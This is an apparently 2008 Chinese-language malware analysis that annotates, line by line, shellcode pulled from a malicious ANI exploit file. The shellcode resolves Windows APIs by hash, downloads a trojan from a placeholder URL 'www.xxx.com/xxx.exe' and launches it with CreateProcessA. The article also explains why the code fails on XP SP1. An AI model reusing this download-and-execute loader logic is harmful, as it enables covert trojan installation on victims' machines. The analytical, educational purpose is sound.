一份shellcode的详细分析

ZDNet 安全频道频道 更新时间:2008-06-13 作者: 来源:SohuIT

本文关键词:shellcode eax EBX

  这是从一个ani溢出攻击的xxx.ani文件中提取出来的一份shellcode,做了下分析



  这里,先要谢谢forgot,解答我关于pPEB>0x80000000的问题,原来是检测win9x用的,谢谢



  好了,进入正题吧



  代码:



  02A200AC mov ebp, esp



  02A200AE mov edx, fs:[30] ; pPeb



  02A200B5 lea edx, [edx+3] ; pPeb->SpareBool



  02A200B8 cmp byte ptr [edx], 1 ; 判断shellcode是否已运行



  02A200BB je 02A20189



  02A200C1 mov byte ptr [edx], 1 ; 设置shellcode已运行



  02A200C4 call 02A20214 ; FARPROC Get_GlobalAlloc_Addr()



  ; {



  



  02A20214 call 02A20278 ; HMODULE GetBase_Kernel32()



  ; {



  



  02B20278 xor eax, eax



  02B2027A mov eax, fs:[eax+30] ; pPeb



  02B2027E test eax, eax



  02B20280 js short 02B20292 ; if (pPeb>0x80000000)==>if (win9x),thx forgot!



  02B20282 mov eax, [eax+C] ; pPeb->pPEB_LDR_DATA



  02B20286 mov esi, [eax+1C] ; pPEB_LDR_DATA->InInitializationOrderModuleList



  02B2028A lods dword ptr [esi]



  02B2028B mov eax, [eax+8] ; pBase_Kernel32



  02B2028F retn



  02B20290 jmp short 02B2029D



  02B20292 mov eax, [eax+34] ; win9x,pPeb->pEventLog



  02B20296 add eax, 7C



  02B20299 mov eax, [eax+3C] ; *(pEventLog+0x7c+0x3c),可能是win9x下pBase_Kernel32



  02B2029D retn



  



  ; }



  02A20219 push 0C0397EC ; hash Of "GlobalAlloc"



  02A2021E push eax ; pBase_Kernel32



  02A2021F call 02A2029E ; FARPROC GetProcAddr(HMODULE hModule,unsigned long hash)



  ; {



  



  02B2029E pushad



  02B2029F mov ebp, [esp+24] ; pBase_Kernel32,pIMAGE_DOS_HEADER



  02B202A4 mov eax, [ebp+3C] ; pIMAGE_DOS_HEADER->e_lfanew



  02B202A8 mov edx, [ebp+eax+78] ; pIMAGE_OPTIONAL_HEADER+0x78==pIMAGE_EXPORT_DIRECTORY RVA



  02B202AD add edx, ebp ; RVA to VA



  02B202AF mov ecx, [edx+18] ; NumberOfNames



  02B202B3 mov ebx, [edx+20] ; AddressOfNames RVA



  02B202B7 add ebx, ebp ; RVA to VA



  02B202B9 jecxz short 02B202F5 ; if (NumberOfNames==0)



  02B202BB dec ecx



  02B202BC mov esi, [ebx+ecx*4] ;



  02B202C0 add esi, ebp ; szExportFunName



  ; 下面开始逐个算输出表中函数名hash,再与所搜索函数的hash比较



  02B202C2 xor edi, edi ;---------GetHash-------------------|



  02B202C4 xor eax, eax ; unsigned long hash=0; |



  02B202C6 cld ; char* pCh=(char*)szExportFunName; |



  02B202C7 lods byte ptr [esi] ; while (*pCh) |



  02B202C8 test al, al ; { |



  02B202CA je short 02B202D3 ; hash=(hash>>0x0d) + *pCh++; |



  02B202CC ror edi, 0D ; } |



  02B202CF add edi, eax ; |



  02B202D1 jmp short 02B202C7 ;-----------------------------------|



  02B202D3 cmp edi, [esp+28] ; if (hash==hash_GlobalAlloc)



  02B202D8 jnz short 02B202B9



  02B202DA mov ebx, [edx+24] ; AddressOfNameOrdinals RVA



  02B202DE add ebx, ebp ; RVA to VA



  02B202E0 mov cx, [ebx+ecx*2] ; FunctionOrdinal



  02B202E5 mov ebx, [edx+1C] ; AddressOfFunctions RVA



  02B202E9 add ebx, ebp ; RVA to VA



  02B202EB mov eax, [ebx+ecx*4] ; FunctionAddr RVA



  02B202EF add eax, ebp ; pFun_API



  02B202F1 mov [esp+1C], eax



  02B202F6 popad



  02B202F7 retn ; return pFun_API



  



  ; }



  02A20224 add esp, 8



  02A20227 retn



  ; }



  02A200C9 push 300 ; MemSize = 0x300



  02A200CE push 0 ; Flags = GMEM_FIXED



  02A200D0 call eax ; kernel32.GlobalAlloc



  029F00D2 mov ecx, 300 ; 下面的copy计数器



  029F00D7 mov edi, eax ; pBase_Heap



  029F00D9 jmp short 029F00E0



  029F00DB pop esi ; 获取地址至esi



  ; 将esi指向的代码copy至刚申请的heap空间中



  029F00DC rep movs byte ptr es:[edi], byte ptr [esi]



  029F00DE call eax ; 跳至heap空间中执行,eax==0x194E30



  029F00E0 call 029F00DB ; 定位下一句



  029F00E5 jmp short 029F00FE



  



  ; heap空间中



  00194E30 jmp short 00194E49



  ...



  00194E49 jmp 00195043



  ...



  00195043 call 00194E4E



  ; {



  



  00194E4E pop ebx ; "hTTp://www.xxx.com/xxx.exe"



  00194E4F sub esp, 114



  00194E55 mov edx, esp



  00194E57 mov dword ptr [edx], 20646D63 ;



  00194E5E mov dword ptr [edx+4], 2220632F ; cmd /c "



  00194E66 add edx, 8



  00194E69 xor eax, eax



  00194E6B push eax ; IBindStatusCallback *pBSC



  00194E6C push eax ; dwReserved



  00194E6D push 104 ; dwBufLength=0x104



  00194E72 push edx ; szFileName



  00194E73 push ebx ; szURL->"hTTp://www.xxx.com/xxx.exe"



  00194E74 push eax ; lpUnkcaller=NULL,非ActiveX组件



  00194E75 call 00194F9B ; Get_URLDownloadToCacheFileA_Addr()



  ; {



  



  00194F9B call 00194EED ; GetBase_urlmon_dll();



  ; {



  



  00194EED push 6E6F ;



  00194EF2 push 6D4C7275 ; "urLmon"



  00194EF7 jmp short 00194F0B ; 跳去,再call回下一行,则压入了LoadLibraryA返回地址



  00194EF9 lea eax, [esp+4]



  00194EFD push eax ; "urLmon",LoadLibraryA的参数



  00194EFE call 00194E32



  ; {



  



  00194E32 push edi ; pBase_Heap+0x300 非参数,只是保存



  00194E33 call 00194FC3 ; HMODULE GetBase_Kernel32()



  00194E38 mov edi, eax ; pBase_Kernel32



  00194E3A xor ecx, ecx



  00194E3C dec ecx ; ecx==4 GB



  00194E3D xor eax, eax



  00194E3F mov al, 0C3



  00194E41 cld



  ; 在Kernel32.dll中查找0xC3,即找一个retn指令



  00194E42 repne scas byte ptr es:[edi]



  00194E44 lea eax, [edi-1] ; Addr of retn



  00194E47 pop edi



  00194E48 retn



  



  ; }



  00194F03 push eax ; Addr of retn,做jmp到LoadLibraryA时的返回地址



  00194F04 call 00194FAF ; FARPROC Get_LoadLibraryA_Addr()



  ; {



  



  00194FAF call 00194FC3 ; HMODULE GetBase_Kernel32()



  00194FB4 push EC0E4E8E ; hash Of "LoadLibraryA"



  00194FB9 push eax ; pBase_Kernel32



  00194FBA call 00194FE9 ; FARPROC GetProcAddr(hModule, hash)



  00194FBF add esp, 8



  00194FC2 retn



  



  ; }



  00194F09 jmp short 00194ED7 ; pFun=pLoadLibraryA



  ;



  00194ED7 cmp byte ptr [eax], 55 ; if ((char *)pFun==0x55),即push ebp



  00194EDA je short 00194EEB



  00194EDC cmp dword ptr [eax+5], 90909090 ; if (nop)



  00194EE3 je short 00194EEB



  00194EE5 push ebp



  00194EE6 mov ebp, esp



  00194EE8 lea eax, [eax+5]



  00194EEB jmp eax ; jmp (LoadLibraryA+5), LoadLibraryA("urLmon")



  



  ; 看下这时的堆栈



  ;0012CE80 0012CFD0 ebp



  ;0012CE84 4FAD102D kernel32.4FAD102D==> retn->-|



  ;0012CE88 0012CE90 ASCII "urLmon" v



  ;0012CE8C 00194F10 返回到 00194F10 <---<<------|



  ;...



  00194F0B call 00194EF9



  00194F10 add esp, 8 ; LoadLibraryA返回后到这里



  00194F13 retn



  



  ; }



  00194FA0 push 54FEF4F ; hash Of "URLDownloadToCacheFileA"



  00194FA5 push eax ; pBase_urlmon_dll



  00194FA6 call 00194FE9 ; FARPROC GetProcAddr(hModule, hash)



  00194FAB add esp, 8



  00194FAE retn



  



  ; }



  00194E7A call eax ; urlmon.URLDownloadToCacheFileA



  



  ; 终于要下木马了,来看看这时的堆栈



  ; call urlmon.URLDownloadToCacheFileA



  ;0012CE9C 00194E7C 返回到 00194E7C



  ;0012CEA0 00000000 LPUNKNOWN lpUnkcaller,非ActiveX组件



  ;0012CEA4 00195048 LPCSTR szURL->hTTp://www.xxx.com/xxx.exe



  ;0012CEA8 0012CEC0 LPTSTR szFileName,(szFileName-8)->cmd /c "



  ;0012CEAC 00000104 DWORD dwBufLength



  ;0012CEB0 00000000 DWORD dwReserved



  ;0012CEB4 00000000 IBindStatusCallback *pBSC



  



  00194E7C mov edi, esp ; cmd /c"C:Docume~1admin...xxx[1].htm



  00194E7E mov eax, edi



  00194E80 add eax, 8 ; szFileName->"C:Docume~1admin...xxx[1].htm"



  00194E83 mov bl, [eax] ;---------------------------|



  00194E86 test bl, bl ; |



  00194E88 je short 00194E8D ; while (*(char*)szFileName)|



  00194E8A inc eax ; szFileName++; |



  00194E8B jmp short 00194E83 ;---------------------------|



  00194E8D mov byte ptr [eax], 22 ; 字符串末尾加"号,构成完整命令



  00194E91 xor edx, edx



  00194E93 mov [eax+1], dl ; 填0截断字符串



  00194E97 sub esp, 54



  00194E9A xor eax, eax



  00194E9C xor ebx, ebx



  00194E9E mov ecx, esp



  00194EA0 cmp eax, 54 ;---------------------------|



  00194EA3 jge short 00194EAE ; |



  00194EA5 mov [ecx+eax], ebx ; MemZero |



  00194EA9 add eax, 4 ; |



  00194EAC jmp short 00194EA0 ;---------------------------|



  00194EAE mov ecx, esp



  00194EB0 mov ebx, ecx



  00194EB2 add ebx, 10



  00194EB5 xor eax, eax



  00194EB7 mov dword ptr [ebx+2C], 1 ; STARTF_USESHOWWINDOW



  00194EBF push ecx ; lpProcessInfo



  00194EC0 push ebx ; lpStartupInfo



  00194EC1 push eax ; lpCurrentDirectory==NULL



  00194EC2 push eax ; lpEnvironment



  00194EC3 push eax ; dwCreationFlags



  00194EC4 push eax ; bInheritHandles



  00194EC5 push eax ; lpThreadAttributes



  00194EC6 push eax ; lpProcessAttributes



  00194EC7 push edi ; lpCommandLine->cmd /c"C:...xxx[1].htm



  00194EC8 push eax ; lpApplicationName



  00194EC9 call 00194F87 ; FARPROC Get_CreateProcessA_Addr()



  



  ; 同上call LoadLibraryA,先检查头几个字节,再跳去CreateProcessA



  00194ECE call 00194ED7 ; CreateProcessA



  ; 启动完成,木马开始执行,好了,抛个eip=0 的执行错误88了



  00194ED3 nop



  00194ED4 push 0



  00194ED6 retn



  ; }



  



  这份shellcode在没有打ani补丁的xpsp2中可以顺利执行,但是在sp1中失败(我的sp1中,可能打过不同补丁情况会不一样),原因出在调用LoadLibraryA时,它先检测LoadLibraryA头几个个字节,以决定是否要自己保存ebp



  代码:



  00194ED7 cmp byte ptr [eax], 55 ; if ((char *)pLoadLibraryA==0x55),即push ebp



  00194EDA je short 00194EEB



  00194EDC cmp dword ptr [eax+5], 90909090 ; if (nop)



  00194EE3 je short 00194EEB



  00194EE5 push ebp



  00194EE6 mov ebp, esp



  00194EE8 lea eax, [eax+5]



  00194EEB jmp eax ; jmp (LoadLibraryA+5), LoadLibraryA("urLmon")[/color]



  



  sp2中,LoadLibraryA 开始几行为



  代码:



  mov edi,edi



  push ebp



  mov ebp, esp



  cmp dword ptr [ebp+8], 0



  



  但是,在sp1中(我的sp1 (-_-! ),LoadLibraryA 第一行既是



  代码:



  cmp dword ptr [esp+4], 0



  



  并没有保存push ebp



  这样shellcode加了push ebp导致堆栈不平衡,于是整段shellcode就夭折了



  可见,这段shellcode通用性好像不太强,好像只能在xpsp2下执行的



  附上shellcode

安全频道 shellcode 最新报道

安全频道 eax 最新报道

安全频道 EBX 最新报道

[an error occurred while processing this directive]